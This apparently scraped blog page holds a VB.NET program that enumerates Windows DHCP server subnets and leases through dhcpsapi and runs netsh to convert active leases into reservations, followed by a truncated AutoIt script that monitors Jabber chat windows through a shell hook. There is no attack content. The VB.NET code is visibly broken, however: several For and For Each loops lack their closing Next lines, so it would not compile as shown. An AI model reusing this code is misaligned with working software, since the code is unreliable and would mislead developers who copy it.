336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

Imports System.Runtime.InteropServices

Public Class Form1

'http://social.msdn.microsoft.com/Forums/en-US/512c7fc3-fb32-4081-a8c2-451883abe9fb/dhcpclientinfovq-bclienttype

Declare Unicode Function DhcpEnumSubnetClients Lib "dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As UInt32, ByRef ResumeHandle As IntPtr, ByVal PreferredMaximum As Integer, ByRef ClientInfo As IntPtr, ByRef ClientsRead As Integer, ByRef ClientsTotal As Integer) As Integer

<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _

Public Shared Function DhcpSetClientInfo( _

ByVal ServerIpAddress As String, _

ByVal ClientInfo As IntPtr) As UInt32

End Function

<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _

Public Shared Function DhcpSetClientInfoV4( _

ByVal ServerIpAddress As String, _

ByVal ClientInfoV4 As IntPtr) As UInt32

End Function

<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _

Public Shared Function DhcpGetClientInfo( _

ByVal ServerIpAddress As String, _

ByRef SearchInfo As DHCP_SEARCH_INFO, _

ByRef ClientInfo As IntPtr) As UInt32

End Function

<DllImport("dhcpsapi.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _

Public Shared Function DhcpSetClientInfoVQ( _

ByVal ServerIpAddress As String, _

ByVal ClientInfo As IntPtr) As UInt32

End Function

<StructLayout(LayoutKind.Sequential)> _

Private Structure DHCP_IP_ARRAY

Dim NumElements As Int32

Dim Elements As IntPtr

End Structure

<StructLayout(LayoutKind.Sequential)> _

Private Structure DHCP_CLIENT_INFO_ARRAY

Dim NumElements As Integer

Dim Clients As IntPtr

End Structure

<StructLayout(LayoutKind.Sequential)> _

Private Structure DHCP_CLIENT_INFO

Dim ClientIpAddress As UInt32

Dim SubnetMask As UInt32

Dim ClientHardwareAddress As DHCP_BINARY_DATA

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String

Dim ClientLeaseExpires As MyDate_Time

Dim OwnerHost As DHCP_HOST_INFO

End Structure

<StructLayout(LayoutKind.Sequential)> _

Private Structure DHCP_CLIENT_INFOV4

Dim ClientIpAddress As UInt32

Dim SubnetMask As UInt32

Dim ClientHardwareAddress As DHCP_BINARY_DATA

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String

Dim ClientLeaseExpires As MyDate_Time

Dim OwnerHost As DHCP_HOST_INFO

Dim bClientType As DHCP_CLIENT_TYPE

End Structure

<StructLayout(LayoutKind.Sequential)> _

Public Structure DHCP_CLIENT_INFO_ARRAY_VQ

Dim NumElements As Integer

Dim Clients As IntPtr

End Structure

<StructLayout(LayoutKind.Sequential)> _

Private Structure DHCP_CLIENT_INFO_VQ

Dim ClientIpAddress As UInt32

Dim SubnetMask As UInt32

Dim ClientHardwareAddress As DHCP_BINARY_DATA

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientName As String

<MarshalAs(UnmanagedType.LPWStr)> Dim ClientComment As String

Dim ClientLeaseExpires As MyDate_Time

Dim OwnerHost As DHCP_HOST_INFO

Dim bClientType As DHCP_CLIENT_TYPE

Dim AddressState As Byte

Dim Status As DHCP_QuarantineStatus

Dim ProbationEnds As MyDate_Time

Dim QuarantineCapable As Boolean

End Structure

Enum DHCP_CLIENT_TYPE As Byte

CLIENT_TYPE_DHCP = 1

CLIENT_TYPE_BOOTP = 2

CLIENT_TYPE_BOTH = 3

CLIENT_TYPE_RESERVATION_FLAG = 4

CLIENT_TYPE_NONE = &H64

End Enum

Enum DHCP_AddressState As Byte

CLIENT_TYPE_DHCP = 1

CLIENT_TYPE_BOOTP = 2

CLIENT_TYPE_BOTH = 3

CLIENT_TYPE_RESERVATION_FLAG = 4

CLIENT_TYPE_NONE = &H64

End Enum

Enum DHCP_QuarantineStatus As Byte

NOQUARANTINE = 0

RESTRICTEDACCESS = 1

DROPPACKET = 2

PROBATION = 3

EXEMPT = 4

DEFAULTQUARSETTING = 5

NOQUARINFO = 6

End Enum

<StructLayout(LayoutKind.Sequential)> _

Structure DHCP_DATE_TIME

Dim dwLowDateTime As Integer

Dim dwHighDateTime As Integer

End Structure

<StructLayout(LayoutKind.Sequential)> _

Structure DHCP_BINARY_DATA

Dim DataLength As Int32

Dim Data As IntPtr

End Structure

<StructLayout(LayoutKind.Sequential)> _

Private Structure MyDate_Time

<MarshalAs(UnmanagedType.U4)> _

Dim dwLowDateTime As UInt32

<MarshalAs(UnmanagedType.U4)> _

Dim dwHighDateTime As UInt32

Public Function ConvertIntToDateTime() As DateTime

If dwHighDateTime = 0 And dwLowDateTime = 0 Then Return DateTime.MinValue

If dwHighDateTime = Int32.MaxValue And dwLowDateTime = UInt32.MaxValue Then Return DateTime.MaxValue

Dim value As Long = dwHighDateTime

value <<= 32

value += dwLowDateTime

Return DateTime.FromFileTime(value)

End Function

Public Sub SetToReserved()

dwLowDateTime = 0

dwHighDateTime = 0

'Return DateTime.FromFileTime(value)

End Sub

Public Sub SetToInfinte()

dwLowDateTime = 4294967295

dwHighDateTime = 2147483647

'Return DateTime.FromFileTime(value)

End Sub

End Structure

<StructLayout(LayoutKind.Sequential)> _

Structure DHCP_HOST_INFO

Dim IpAddress As Int32

<MarshalAs(UnmanagedType.LPWStr)> _

Dim NetBiosName As String

<MarshalAs(UnmanagedType.LPWStr)> _

Dim HostName As String

End Structure

''' <summary>

''' ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

''' DHCP SERVER STRUCTS

''' </summary>

''' <remarks></remarks>

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _

Public Structure DHCPDS_SERVER

Dim Version As UInt32

Dim ServerName As String

Dim ServerAddress As UInt32

Dim Flags As UInt32

Dim State As UInt32

Dim DsLocation As String

Dim DsLocType As UInt32

End Structure

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _

Public Structure DHCPDS_SERVERS

Dim Flags As UInt32

Dim NumElements As UInt32

Dim Servers As IntPtr

End Structure

Declare Unicode Function DhcpEnumServers Lib "Dhcpsapi.dll" (ByVal Flags As UInt32, _

ByVal IdInfo As IntPtr, _

ByRef Servers As IntPtr, _

ByVal CallbackFn As IntPtr, _

ByVal CallbackData As IntPtr) As UInt32

''' <summary>

''' Sumery

''' </summary>

''' <returns></returns>

''' <remarks></remarks>

'''

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _

Public Structure DHCP_IP_ADDRESS

Dim IPAddress As UInteger

End Structure

''' <summary>

''' Sumery

''' </summary>

''' <returns></returns>

''' <remarks></remarks>

'''

<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure DHCP_SUBNET_INFO

Public SubnetAddress As UInteger

Public SubnetMask As UInteger

Public SubnetName As String

Public SubnetComment As String

'Public PrimaryHost As DHCP_HOST_INFO

Public SubnetState As DHCP_SUBNET_STATE

End Structure

Public Enum DHCP_SUBNET_STATE

DhcpSubnetEnabled = 0

DhcpSubnetDisabled = 1

DhcpSubnetEnabledSwitched = 2

DhcpSubnetDisabledSwitched = 3

DhcpSubnetInvalidState = 4

End Enum

Public Declare Unicode Function DhcpGetSubnetInfo Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByVal SubnetAddress As Integer, ByRef SubnetInfo As DHCP_SUBNET_INFO) As Integer

Public Declare Unicode Function DhcpEnumSubnets Lib "Dhcpsapi" (ByVal ServerIpAddress As String, ByRef ResumeHandle As Integer, ByVal PreferredMaximum As Integer, ByRef EnumInfo As IntPtr, ByRef ElementsRead As Integer, ByRef ElementsTotal As Integer) As Integer

Dim HowManyClients As Long = 0

Dim HowManyClientsAreAlreadyReserved As Long = 0

Dim HowManyClientsAreNeedToBechanged As Long = 0

Dim HowManyClientsHaveBadAddresses As Long = 0

Dim MachinesThatWillChange As String = vbNullString

Dim MachinesThatWillNotChange As String = vbNullString

Dim ServerIPAddress As String = "10.10.10.10"

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim ts = Stopwatch.StartNew

' Your code goes here

EnumAll()

Debug.WriteLine("How many clients: " & HowManyClients)

Debug.WriteLine("How many clients are already reserved: " & HowManyClientsAreAlreadyReserved)

Debug.WriteLine("How many clients need to be changed: " & (HowManyClientsAreNeedToBechanged - HowManyClientsHaveBadAddresses))

Debug.WriteLine("How many clients have bad addresses: " & HowManyClientsHaveBadAddresses)

Debug.WriteLine("-----------------------------------------------------------------------")

Debug.WriteLine("Machines that will change")

Debug.WriteLine(MachinesThatWillChange)

Debug.WriteLine("-----------------------------------------------------------------------")

Debug.WriteLine("Machines that will NOT change")

Debug.WriteLine(MachinesThatWillNotChange)

' Format and display the TimeSpan value.

Dim myelapsedTime As String = String.Format("{0:00}:{1:00}:{2:00}.{3:00}", ts.Elapsed.Hours, ts.Elapsed.Minutes, ts.Elapsed.Seconds, ts.Elapsed.Milliseconds / 10)

Debug.WriteLine("RunTime " & myelapsedTime)

'EnumServers()

'GetSubnets("10.10.10.10")

'ListSubnetClients("10.10.10.10", "10.10.10.100")

'CompareFirewallRules()

'GetClientInfo("10.10.10.10", "10.10.10.100")

End Sub

Public Function GetSubnets(ByVal ServerIp As String) As String()

Dim StringsToReturn() As String

Dim ServerIpAddress = ServerIp

Dim DHCPResult As UInt32 = 0

Dim IPS As IntPtr

Dim nr As UInteger = 0

Dim Total As UInteger = 0

Dim resumehandle As UInteger = 0

DHCPResult = DhcpEnumSubnets(ServerIpAddress, resumehandle, 1000, IPS, nr, Total)

If DHCPResult = 0 Then

Dim iparray As DHCP_IP_ARRAY = CType(Marshal.PtrToStructure(IPS, GetType(DHCP_IP_ARRAY)), DHCP_IP_ARRAY)

Dim Size As Integer = iparray.NumElements

Dim outArray As IntPtr = iparray.Elements

Dim ipAddressesArray(Size) As DHCP_IP_ADDRESS

Array.Resize(StringsToReturn, Size + 1)

Dim current As IntPtr = outArray

For i = 0 To Size

ipAddressesArray(i) = New DHCP_IP_ADDRESS

ipAddressesArray(i) = CType(Marshal.PtrToStructure(current, GetType(DHCP_IP_ADDRESS)), DHCP_IP_ADDRESS)

Marshal.DestroyStructure(current, GetType(DHCP_IP_ADDRESS))

current = current + Marshal.SizeOf(ipAddressesArray(i))

Debug.WriteLine(i & " " & IPConvert(ipAddressesArray(i).IPAddress))

StringsToReturn(i) = IPConvert(ipAddressesArray(i).IPAddress)

Marshal.FreeCoTaskMem(outArray)

Debug.WriteLine("Elements read " & nr & " out of " & Total)

Else

Debug.WriteLine("Failed!")

End If

Return StringsToReturn

End Function

Public Function getSubNetInfo(ByVal Subnet As Integer) As Integer

Dim Result As DHCP_SUBNET_INFO

Dim code As Integer

Try

code = DhcpGetSubnetInfo("10.10.10.10", Subnet, Result)

msgbox(Result.SubnetName)

Catch

msgbox(Err.Description)

End Try

End Function

Public Shared Function EnumServers() As DHCPDS_SERVER()

Dim retVal As UInt32 = 0

Dim servers As IntPtr

Try

DhcpEnumServers(0, Nothing, servers, Nothing, Nothing)

Catch ex As Exception

Throw New Exception("Error code: " & retVal.ToString, ex)

End Try

If retVal = 0 And servers <> IntPtr.Zero Then

Dim serverArray As DHCPDS_SERVERS = _

CType(Marshal.PtrToStructure(servers, GetType(DHCPDS_SERVERS)), DHCPDS_SERVERS)

Dim serverList(CType(serverArray.NumElements, Int32)) As DHCPDS_SERVER

Dim current As IntPtr = serverArray.Servers

For i As Int32 = 0 To CType(serverArray.NumElements - 1, Int32)

serverList(i) = CType(Marshal.PtrToStructure(current, GetType(DHCPDS_SERVER)), DHCPDS_SERVER)

Debug.WriteLine("ServerName: " & serverList(i).ServerName)

Debug.WriteLine("ServerAddress: " & serverList(i).ServerAddress)

Debug.WriteLine("ServerState: " & serverList(i).State)

Debug.WriteLine("ServerVersion: " & serverList(i).Version)

Debug.WriteLine("ServerDsLocation: " & serverList(i).DsLocation)

Debug.WriteLine("ServerDsLocType: " & serverList(i).DsLocType)

Debug.WriteLine("ServerFlags: " & serverList(i).Flags)

Debug.WriteLine(vbCrLf & vbCrLf)

Marshal.DestroyStructure(current, GetType(DHCPDS_SERVER))

current = IntPtr.op_Explicit(current.ToInt64() + Marshal.SizeOf(serverList(i)))

Marshal.FreeCoTaskMem(servers)

Return serverList

ElseIf retVal = 0 And servers = IntPtr.Zero Then

Throw New Exception("No servers found.")

Else

Throw New Exception("Error code: " & retVal.ToString)

End If

End Function

Public Sub ListSubnetClients(ByVal ServerIP As String, ByVal SubnetIP As String)

Dim Client_Array As DHCP_CLIENT_INFO_ARRAY

Dim DHCP_Clients() As DHCP_CLIENT_INFO

' Why would you use int16 for a loop counter and for a pointer offset ?

Dim i, j As Int16

Dim pt As IntPtr

Dim Read_Clients, Total_Clients As Int32

Dim Error_Code As Int32

Dim Rem_Handle As IntPtr

Dim Scope_I As UInt32

'Scope_I = "10.0.3.0"

Scope_I = StringIPAddressToUInt32(SubnetIP) ' Dot2LongIP(SubnetIP)

'Call dhcpsapi

Error_Code = DhcpEnumSubnetClients(ServerIP, Scope_I, Rem_Handle, 65537, pt, Read_Clients, Total_Clients)

Client_Array = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO_ARRAY))

ReDim DHCP_Clients(Client_Array.NumElements - 1)

Dim MacAddr As Net.NetworkInformation.PhysicalAddress

For i = 0 To Client_Array.NumElements - 1

pt = Marshal.ReadIntPtr(Client_Array.Clients, j)

DHCP_Clients(i) = Marshal.PtrToStructure(pt, GetType(DHCP_CLIENT_INFO))

'MacAddr = Net.NetworkInformation.PhysicalAddress.Parse(DHCP_Clients(i).ClientHardwareAddress.Data)

'If HardwareAddress = "ec-30-91-d5-f0-a6" Then

'System.Diagnostics.Debugger.Break()

'ElseIf HardwareAddress.StartsWith("ec-30-91") Then

'System.Diagnostics.Debugger.Break()

'End If

Dim IsClientReserved As Boolean

If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 4294967295 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 2147483647 Then

IsClientReserved = True

Else

IsClientReserved = False

End If

Dim IsClientInActivelyReserved As Boolean

If DHCP_Clients(i).ClientLeaseExpires.dwLowDateTime = 0 And DHCP_Clients(i).ClientLeaseExpires.dwHighDateTime = 0 Then

IsClientInActivelyReserved = True

Else

IsClientInActivelyReserved = False

End If

Dim HardwareAddress As String = String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))

Dim NetShHardwareAddress As String = String.Format("{0:x2}{1:x2}{2:x2}{3:x2}{4:x2}{5:x2}", Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 1), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 2), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 3), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 4), Marshal.ReadByte(DHCP_Clients(i).ClientHardwareAddress.Data, 5))

Debug.WriteLine("ClientComment: " & DHCP_Clients(i).ClientComment)

Debug.WriteLine("ClientIpAddress: " & IPConvert(DHCP_Clients(i).ClientIpAddress))

Debug.WriteLine("ClientHardwareAddress: " & HardwareAddress)

Debug.WriteLine("ClientLeaseExpires: " & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime)

Debug.WriteLine("ClientName: " & DHCP_Clients(i).ClientName)

Debug.WriteLine("OwnerHoost->HostName: " & DHCP_Clients(i).OwnerHost.HostName)

Debug.WriteLine("OwnerHost->IpAddress: " & IPConvert(DHCP_Clients(i).OwnerHost.IpAddress))

Debug.WriteLine("OwnerHost->NetBiosName: " & DHCP_Clients(i).OwnerHost.NetBiosName)

Debug.WriteLine("SubnetMask: " & UInt32IPAddressToString(DHCP_Clients(i).SubnetMask))

'ConvertTolease

'IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.246.36.101" And

If (Not IsClientReserved And Not IsClientInActivelyReserved) Then

Dim MyArgs As String = vbNullString

If Not IsNothing(DHCP_Clients(i).ClientComment) Then

Select Case DHCP_Clients(i).ClientComment.Trim

Case ""

MyArgs = "dhcp server 10.10.10.10 Scope " & SubnetIP.ToString.Trim & " Add reservedip " & IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim & " " & NetShHardwareAddress.ToString & " """ & DHCP_Clients(i).ClientName & """ ""Set for InfoBlox"" DHCP"

Case "This address is already in use"

HowManyClientsHaveBadAddresses += 1

Case Else

End Select

Else

End If

If MyArgs IsNot Nothing Then

Debug.WriteLine("netsh " & MyArgs)

Dim MyProcess As New Process

MyProcess = Process.Start("netsh", MyArgs)

MyProcess.WaitForExit()

MachinesThatWillChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & vbCrLf

HowManyClientsAreNeedToBechanged += 1

Else

MachinesThatWillNotChange &= DHCP_Clients(i).ClientName & "," & IPConvert(DHCP_Clients(i).ClientIpAddress) & "," & NetShHardwareAddress & "," & DHCP_Clients(i).ClientLeaseExpires.ConvertIntToDateTime & vbCrLf

Debug.WriteLine("This unit has a BAD Address - Skipping")

End If

Else

Debug.WriteLine("No NETSH command required")

HowManyClientsAreAlreadyReserved += 1

End If

Debug.WriteLine(vbCrLf & vbCrLf)

pt = IntPtr.Zero

j = j + 4

HowManyClients += 1

Next i

End Sub

Private Sub ConvertTolease(ByVal DHCP_Clients() As DHCP_CLIENT_INFO, ByVal I As Integer)

If IPConvert(DHCP_Clients(i).ClientIpAddress).ToString.Trim = "10.10.10.10" And False Then

Dim DHCPv4 As New DHCP_CLIENT_INFOV4

DHCPv4.bClientType = DHCP_CLIENT_TYPE.CLIENT_TYPE_BOTH

DHCPv4.ClientComment = DHCP_Clients(i).ClientComment

DHCPv4.ClientHardwareAddress = DHCP_Clients(i).ClientHardwareAddress

DHCPv4.ClientIpAddress = DHCP_Clients(i).ClientIpAddress

DHCPv4.ClientLeaseExpires = DHCP_Clients(i).ClientLeaseExpires

DHCPv4.ClientName = DHCP_Clients(i).ClientName

DHCPv4.OwnerHost = DHCP_Clients(i).OwnerHost

DHCPv4.SubnetMask = DHCP_Clients(i).SubnetMask

'Dim MyPtrr As IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf(New DHCP_CLIENT_INFOV4))

'DHCPv4.ClientLeaseExpires.SetToReserved()

'DHCPv4.ClientLeaseExpires.SetToInfinte()

'Marshal.StructureToPtr(DHCPv4, MyPtrr, False)

'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfo(ServerIP, MyPtrr))

'Debug.WriteLine("Lease Updated: " & DhcpSetClientInfoV4(ServerIP, MyPtrr))

End If

End Sub

''' <summary>

'''

''' </summary>

''' <param name="sender"></param>

''' <param name="e"></param>

''' <remarks></remarks>

'''

Public Structure DHCP_SEARCH_INFO

Dim DHCPSearchInfoType As Integer

Dim DHCPIPAddress As UInt32

End Structure

Private Enum DHCP_SEARCH_INFO_TYPE

DhcpClientIpAddress

DhcpClientHardwareAddress

DhcpClientName

End Enum

Public Function GetClientInfo(ByVal serverIP As String, ByVal clientIP As String)

Dim DHCPResult As UInt32 = 0

Try

Dim searchInfo As New DHCP_SEARCH_INFO

Dim searchInfoType As DHCP_SEARCH_INFO_TYPE = DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress

searchInfo.DHCPSearchInfoType = searchInfoType

searchInfo.DHCPIPAddress = Dot2LongIP(clientIP)

Dim hClientInfo As IntPtr

DHCPResult = DhcpGetClientInfo(serverIP, searchInfo, hClientInfo)

If DHCPResult = 0 And Not hClientInfo = IntPtr.Zero Then

Dim clientInfo As DHCP_CLIENT_INFO = Marshal.PtrToStructure(hClientInfo, GetType(DHCP_CLIENT_INFO))

Debug.WriteLine("ClientInfo->clientInfo.ClientHardwareAddress " & String.Format("{0:x2}-{1:x2}-{2:x2}-{3:x2}-{4:x2}-{5:x2}", Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 1), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 2), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 3), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 4), Marshal.ReadByte(clientInfo.ClientHardwareAddress.Data, 5)))

Debug.WriteLine("ClientInfo->clientInfo.ClientIpAddress " & IPConvert(clientInfo.ClientIpAddress))

Debug.WriteLine("ClientInfo->clientInfo.ClientLeaseExpires " & clientInfo.ClientLeaseExpires.ConvertIntToDateTime)

Debug.WriteLine("ClientInfo->clientInfo.ClientName " & clientInfo.ClientName)

Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->HostName " & clientInfo.OwnerHost.HostName)

Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->IpAddress " & IPConvert(clientInfo.OwnerHost.IpAddress))

Debug.WriteLine("ClientInfo->clientInfo.OwnerHost->NetBiosName " & clientInfo.OwnerHost.NetBiosName)

Debug.WriteLine("ClientInfo->clientInfo.SubnetMask " & clientInfo.SubnetMask)

Debug.WriteLine("ClientInfo->clientInfo.ClientComment " & clientInfo.ClientComment)

Return (clientInfo)

End If

Return Nothing

Catch ex As Exception

Console.WriteLine(ex.Message)

Return Nothing

End Try

End Function

Private Sub EnumAll()

Dim ListOfSubnets As String() = GetSubnets(ServerIPAddress)

For Each Subnet As String In ListOfSubnets

If Subnet = "0.0.0.0" Then

Exit Sub

End If

If Subnet = "10.246.10.0" Or True Then

ListSubnetClients(ServerIPAddress, Subnet)

End If

End Sub

Public Sub CompareFirewallRules()

Dim FileContents = GetFileContents("\\fileshare1\ISStaff\Network\KDB\Config\EMC-ASA.txt")

Dim h As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)

For Each IPString As System.Net.IPAddress In h.AddressList

'Debug.WriteLine(IPString.ToString)

If InStr(FileContents, IPString.ToString) > 0 Then

'Debug.WriteLine(IPString.ToString & " - IP Found in Firewall Rules")

TextBox1.Text += IPString.ToString & " - IP Found in Firewall Rules"

End If

If TextBox1.Text = vbNullString Then TextBox1.Text = "No Firewall Rules Found!"

End Sub

Public Shared Function StringIPAddressToUInt32(ByVal ip_string As String) As UInteger

Dim IpA As Net.IPAddress = System.Net.IPAddress.Parse(ip_string)

Dim ip_bytes As Byte() = IpA.GetAddressBytes()

Dim ip_uint As UInteger = CUInt(ip_bytes(0)) << 24

ip_uint += CUInt(ip_bytes(1)) << 16

ip_uint += CUInt(ip_bytes(2)) << 8

ip_uint += CUInt(ip_bytes(3))

Return ip_uint

End Function

Public Shared Function UInt32IPAddressToString(ByVal ipAddress As UInteger) As String

Dim ipA As New Net.IPAddress(ipAddress)

Dim sIp As String() = ipA.ToString().Split("."c)

Return sIp(3) & "." & sIp(2) & "." & sIp(1) & "." & sIp(0)

End Function

Public Function Dot2LongIP(ByVal DottedIP As String) As Integer

Dim arrDec() As String

Dim i As Integer

Dim intResult As Integer

If DottedIP = "" Then

Dot2LongIP = 0

Else

arrDec = DottedIP.Split(".")

For i = arrDec.Length - 1 To 0 Step -1

intResult = intResult + ((Int(arrDec(i)) Mod 256) * Math.Pow(256, 3 - i))

Dot2LongIP = intResult

End If

End Function

Public Function IPConvert(ByVal IPAddress As Object) As Object

Dim x As Integer

Dim Pos As Integer

Dim PrevPos As Integer

Dim Num As Integer

If IsNumeric(IPAddress) Then

IPConvert = "0.0.0.0"

For x = 1 To 4

Num = Int(IPAddress / 256 ^ (4 - x))

IPAddress = IPAddress - (Num * 256 ^ (4 - x))

If Num > 255 Then

IPConvert = "0.0.0.0"

Exit Function

End If

If x = 1 Then

IPConvert = Num

Else

IPConvert = IPConvert & "." & Num

End If

ElseIf UBound(Split(IPAddress, ".")) = 3 Then

' On Error Resume Next

For x = 1 To 4

Pos = InStr(PrevPos + 1, IPAddress, ".", 1)

If x = 4 Then Pos = Len(IPAddress) + 1

Num = Int(Mid(IPAddress, PrevPos + 1, Pos - PrevPos - 1))

If Num > 255 Then

IPConvert = "0"

Exit Function

End If

PrevPos = Pos

IPConvert = ((Num Mod 256) * (256 ^ (4 - x))) + IPConvert

End If

End Function

Public Function GetFileContents(ByVal FullPath As String, Optional ByRef ErrInfo As String = "") As String

Dim strContents As String

Dim objReader As System.IO.StreamReader

Try

objReader = New System.IO.StreamReader(FullPath)

strContents = objReader.ReadToEnd()

objReader.Close()

Return strContents

Catch Ex As Exception

ErrInfo = Ex.Message

End Try

End Function

End Class

Autoit – Making Jabber Chat client take Focus when Toolbar is flashing

#include &lt;GuiConstants.au3&gt;
#include &lt;Misc.au3&gt;
#include &lt;GuiconstantsEx.au3&gt;
#include &lt;WindowsConstants.au3&gt;
#include &lt;ListBoxConstants.au3&gt;
#include &lt;SendMessage.au3&gt;
#NoTrayIcon
Opt("GUICloseOnESC", 0)
Opt("GUIOnEventMode", 1)
Opt("WinWaitDelay", 0)
;Global Const $WM_SYSCOMMAND = 0x0112
;Global Const $LBS_NOINTEGRALHEIGHT = 0x1000
Global Const $SC_MOVE = 0xF010
Global Const $SC_SIZE = 0xF000
Global Const $SC_CLOSE = 0xF060
;ShellHook notification codes:
Global Const $HSHELL_WINDOWCREATED = 1;
Global Const $HSHELL_WINDOWDESTROYED = 2;
Global Const $HSHELL_ACTIVATESHELLWINDOW = 3;
Global Const $HSHELL_WINDOWACTIVATED = 4;
Global Const $HSHELL_GETMINRECT = 5;
Global Const $HSHELL_REDRAW = 6;
Global Const $HSHELL_TASKMAN = 7;
Global Const $HSHELL_LANGUAGE = 8;
Global Const $HSHELL_SYSMENU = 9;
Global Const $HSHELL_ENDTASK = 10;
Global Const $HSHELL_ACCESSIBILITYSTATE = 11;
Global Const $HSHELL_APPCOMMAND = 12;
Global Const $HSHELL_WINDOWREPLACED = 13;
Global Const $HSHELL_WINDOWREPLACING = 14;
Global Const $HSHELL_RUDEAPPACTIVATED = 32772;
Global Const $HSHELL_FLASH = 32774;
Global $bHook = 1
;GUI stuff:
Global $iGuiW = 50, $iGuiH = 50, $sTitle = "Jabber Monitor by Nicholas Hall", $aBtnText[2] = ["START", "STOP"]
$hGui = GUICreate($sTitle, $iGuiW, $iGuiH, -1, 0, $WS_POPUP+$WS_BORDER, $WS_EX_TOPMOST)
GUISetOnEvent($GUI_EVENT_CLOSE, "SysEvents")
GUISetOnEvent($GUI_EVENT_PRIMARYDOWN, "SysEvents")
GUIRegisterMsg($WM_SYSCOMMAND, "On_WM_SYSCOMMAND")
$cBtnMini = GUICtrlCreateButton("v", $iGuiW-$iGuiH, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Minimize")
$cBtnClose = GUICtrlCreateButton("X", $iGuiW-$iGuiH/2, 0, $iGuiH/2, $iGuiH/2)
GUICtrlSetOnEvent(-1, "CtrlEvents")
GUICtrlSetTip(-1, "Exit")
$cBtnHook = GUICtrlCreateButton("", $iGuiW-$iGuiH, $iGuiH/2, $iGuiH, $iGuiH/2)
GUICtrlSetData(-1, $aBtnText[$bHook])
GUICtrlSetTip(-1, "Hook/Unhook Jabber")
GUICtrlSetOnEvent(-1, "CtrlEvents")
;$cList = GUICtrlCreateList("", 0, 0, $iGuiW-$iGuiH-1, $iGuiH, $LBS_NOINTEGRALHEIGHT+$WS_VSCROLL)
GUICtrlSetOnEvent(-1, "CtrlEvents")
;Hook stuff:
GUIRegisterMsg(RegisterWindowMessage("SHELLHOOK"), "HShellWndProc")
ShellHookWindow($hGui, $bHook)
GUISetState()
While 1
    Sleep(1000)
WEnd
Func SysEvents()
    Switch @GUI_CtrlId
        Case $GUI_EVENT_CLOSE
            Exit
        Case $GUI_EVENT_PRIMARYDOWN
            ;CTRL + Left click to drag GUI
            If _IsPressed("11") Then
                DllCall("user32.dll", "int", "ReleaseCapture")
                DllCall("user32.dll", "int", "SendMessage", "hWnd", $hGui, "int", 0xA1, "int", 2, "int", 0)
            EndIf
    EndSwitch
EndFunc
Func CtrlEvents()
    Switch @GUI_CtrlId
        Case $cBtnMini
            GUISetState(@SW_MINIMIZE)
        Case $cBtnClose
